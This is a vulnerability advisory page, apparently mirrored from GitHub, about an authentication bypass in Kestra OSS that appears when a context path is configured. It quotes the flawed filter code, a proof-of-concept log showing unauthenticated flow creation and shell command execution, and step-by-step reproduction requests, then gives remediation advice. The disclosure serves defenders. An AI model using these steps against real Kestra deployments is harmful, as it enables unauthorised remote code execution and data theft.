GHSA-F9FR-GP36-H528
Kestra OSS: complete API authentication bypass and pre-auth RCE when micronaut.server.context-path is set - AuthenticationFilter tests the path against the literal prefix /api/v1 and proceeds without authenticating, while the router strips the context path and reaches the controller (the gate was introduced by the GHSA-rjhm-qm6w-m7x9 fix)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 2.0.8 | io.kestra:kestra · -22 d desde divulgación | |
| Divulgación | Publicada | GHSA-F9FR-GP36-H528 divulgada · CVSS 8.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`AuthenticationFilter` decides for itself whether a request is an API request, by testing the request
path against the literal prefix `/api/v1`. When `micronaut.server.context-path` is set — the
configuration your own documentation prescribes for serving Kestra under a sub-path behind a reverse
proxy — every request path becomes `/<context>/api/v1/...`, both prefix tests fail, and the filter
returns `chain.proceed(request)` before reaching `basicAuthService.isAuthenticated()`. Micronaut's
router then strips the context path and resolves the request to the real `/api/v1/...` controller.
The result is a complete, unauthenticated API. From there: create a flow containing
`io.kestra.plugin.scripts.shell.Commands`, trigger it, and read the output — pre-auth remote code
execution on the Kestra worker.
The gate being bypassed was introduced by the fix for GHSA-rjhm-qm6w-m7x9, which replaced
`@Filter("/api/v1/")` with `@Filter("/")` plus this manual prefix check. The filter's own comment
says so.
Verified end to end on v2.0.4 (newest release, published 2026-09-29; source tag `v2.0.4`,
`d97ca673`), using the official `kestra/kestra:v2.0.4` image.
Details
`webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java`
@Filter(Filter.MATCH_ALL_PATTERN)
...
private static final String API_PREFIX = "/api/v1";
...
public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
// Registered on "/**" instead of the Ant pattern "/api/v1/**", which Micronaut matches against
// the raw request target and which a percent-encoded separator therefore evades (GHSA-rjhm-qm6w-m7x9).
String rawPath = request.getPath();
boolean rawLooksLikeApi = rawPath.startsWith(API_PREFIX);
// Decoding only matters when there is something to decode or collapse; skip it otherwise so
// static assets and health checks don't pay for a URI parse on every request.
if (!rawLooksLikeApi && rawPath.indexOf('%') < 0 && !rawPath.contains("//")) {
return chain.proceed(request); // <-- (A)
}
String normalizedPath = normalizePath(request.getUri().getPath());
if (!rawLooksLikeApi && !normalizedPath.startsWith(API_PREFIX)) {
return chain.proceed(request); // <-- (B)
}
return Mono.fromCallable(() -> basicAuthService.configuration())
...
if (!basicAuthService.isAuthenticated(request)) { // <-- the credential checkand
private static String normalizePath(String path) {
return path.replaceAll("/+", "/");
}With `micronaut.server.context-path: "/kestra"`:
- `request.getPath()` is `/kestra/api/v1/main/flows/search`, so `rawLooksLikeApi` is false.
- The path contains no `%` and no `//`, so branch (A) fires and the request is proceeded
- `basicAuthService.isAuthenticated()` is never called.
- Micronaut's router, which *is* context-path aware, resolves the same request to the
The filter is reasoning about one spelling of the path (raw vs percent-decoded vs slash-collapsed) while
the router resolves a third (context-path-stripped). The two prior advisories on this same file were both
about the first kind of mismatch; this is the second kind, and no amount of decoding or normalising fixes
it, because the prefix simply is not there.
Scope of the filter: `@Requires(property = "micronaut.security.enabled", notEquals = "true")`, so this is
the OSS authentication path. `kestra.server.basic-auth` is your documented way to secure an OSS instance
(it ships commented in place in `kestra/docker-compose.yml`), which is why the bypass matters: without
basic-auth there is no boundary to cross in the first place.
`micronaut.server.context-path` is read in four source files (`RedirectController.java:19`,
`ApiController.java:12`, `ExecutionController.java:165`, `UiIndexService.java:54`), it is documented at
`kestra.io/docs/administrator-guide/webserver-url` with the exact key
`micronaut: server: context-path: "/kestra"` and a complete nginx example, and issue #2630 ("Changing the
base path of Kestra (context-path) does not work") was closed on 2024-03-18. In my lab `GET /kestra/ui/`
returns 200 and emits `KESTRA_BASE_PATH`, so the deployment mode works as documented.
PoC
Two containers from the official `kestra/kestra:v2.0.4` image with identical basic-auth
configuration. The only difference is `micronaut.server.context-path` on the second one. Both reported
`"isBasicAuthInitialized":true` before the test.
=============== CONTROL: unauthenticated API on an instance WITHOUT context-path ===============
/api/v1/main/flows/search -> HTTP 401
/api/v1/main/namespaces/search -> HTTP 401
/api/v1/main/secrets -> HTTP 401
/api/v1/configs -> HTTP 401
(control also refuses the write that the TEST case below performs)
POST /api/v1/main/flows -> HTTP 401
=============== TEST: unauthenticated API on an instance WITH context-path=/kestra ===============
/kestra/api/v1/main/flows/search -> HTTP 200
/kestra/api/v1/main/namespaces/search -> HTTP 200
/kestra/api/v1/main/secrets -> HTTP 200
/kestra/api/v1/configs -> HTTP 200
=============== TEST step 1: create a flow that runs OS commands (no credentials) ===============
POST /kestra/api/v1/main/flows -> HTTP 200
=============== TEST step 2: trigger execution (no credentials) ===============
execution id = 56lr2lG9I3oLqsJarev61K
=============== TEST step 3: read the command output (no credentials) ===============
DEBUG Starting command with pid 234 [/bin/sh -c set -e
id
hostname
echo PWNED_MARKER_$(date +%s)]
INFO uid=1000(kestra) gid=1000(kestra) groups=1000(kestra)
INFO vmi3544731
INFO PWNED_MARKER_1790814706
DEBUG Command succeed with exit code 0A `DELETE /kestra/api/v1/main/flows/company.team/pwned` also returned 204, so the bypass covers
destructive writes, not only reads.
The CONTROL is the load-bearing half: same image, same basic-auth, same requests, 401 across the board.
The single changed setting is the documented context path.
Steps to reproduce
- Run `kestra/kestra:v2.0.4` with `kestra.server.basic-auth.username`/`.password` set, and complete
- Confirm `GET /api/v1/main/flows/search` returns 401.
- Add `micronaut.server.context-path: "/kestra"` per
- `GET /kestra/api/v1/main/flows/search` with no credentials → 200.
- `POST /kestra/api/v1/main/flows` (Content-Type `application/x-yaml`) with a flow whose task is
- `POST /kestra/api/v1/main/executions/<namespace>/<flow>` → execution id.
- `GET /kestra/api/v1/main/logs/<id>/download` → the command's stdout.
Impact
Unauthenticated remote code execution plus full unauthenticated read and write of the Kestra API:
flows, namespaces, secrets, KV and configuration.
One amplifier I read in your shipped file but did not exercise: `kestra/docker-compose.yml` runs the
Kestra container with `user: "root"` and bind-mounts `/var/run/docker.sock`. On that compose the same
chain executes as root with access to the host Docker socket, which is host compromise rather than
worker compromise. I am flagging it as source-read, not measured.
Blast radius: a context-path deployment exists specifically to put Kestra behind a public reverse proxy,
so the affected instances are the internet-facing ones.
`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:HI:H/A:H` = 8.1.
Preconditions
- Kestra OSS (the filter is `@Requires(property = "micronaut.security.enabled", notEquals = "true")`).
- `kestra.server.basic-auth` configured — i.e. an instance the operator has deliberately secured.
- `micronaut.server.context-path` set to any non-empty value, which your documentation prescribes for
- Everything else default. No credentials, no token, no user interaction.
Dedup
- The two prior criticals on this same file are both distinct, and I want to be explicit that the first
- GHSA-rjhm-qm6w-m7x9 (CVSS 10, patched 1.0.60) — `@Filter("/api/v1/**")` Ant-pattern vs
- GHSA-j5cv-8rw9-vv2p (CVSS 9.8, patched 1.3.38) — `open-urls` `String.startsWith`. Its fix added
- `gh search issues|prs --repo kestra-io/kestra` for `context-path`, `rawLooksLikeApi`, `API_PREFIX`,
- No OSV entry for `io.kestra:kestra` covering this. Nothing in the 20 repository advisories mentions the
- I note you published six advisories on 2026-09-29 alongside v2.0.4, several on this filter, so someone
Suggested remediation
The underlying problem is that the filter re-derives "is this an API request?" from the path, while the
router already knows the answer. Two options, in order of preference:
- Ask the router, not the string. Resolve the route first and authenticate based on the matched
- If the prefix test stays, strip the context path before testing. Inject
Either way, the safer default is to fail closed: authenticate unless the request is positively
identified as a non-API route, rather than proceeding unless it is positively identified as an API route.
Both of the last two bypasses of this filter, and this one, are the same mistake in that one respect.
A regression test that boots with `micronaut.server.context-path` set and asserts
`/<context>/api/v1/main/flows/search` returns 401 would catch this and any future variant.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
mavenio.kestra:kestra |
Corregida | 2.0.8 | -22 d | 2.0.10 no afectada |
2.0.8Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/kestra-io/kestra/security/advisories/GHSA-f9fr-gp36-h528Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
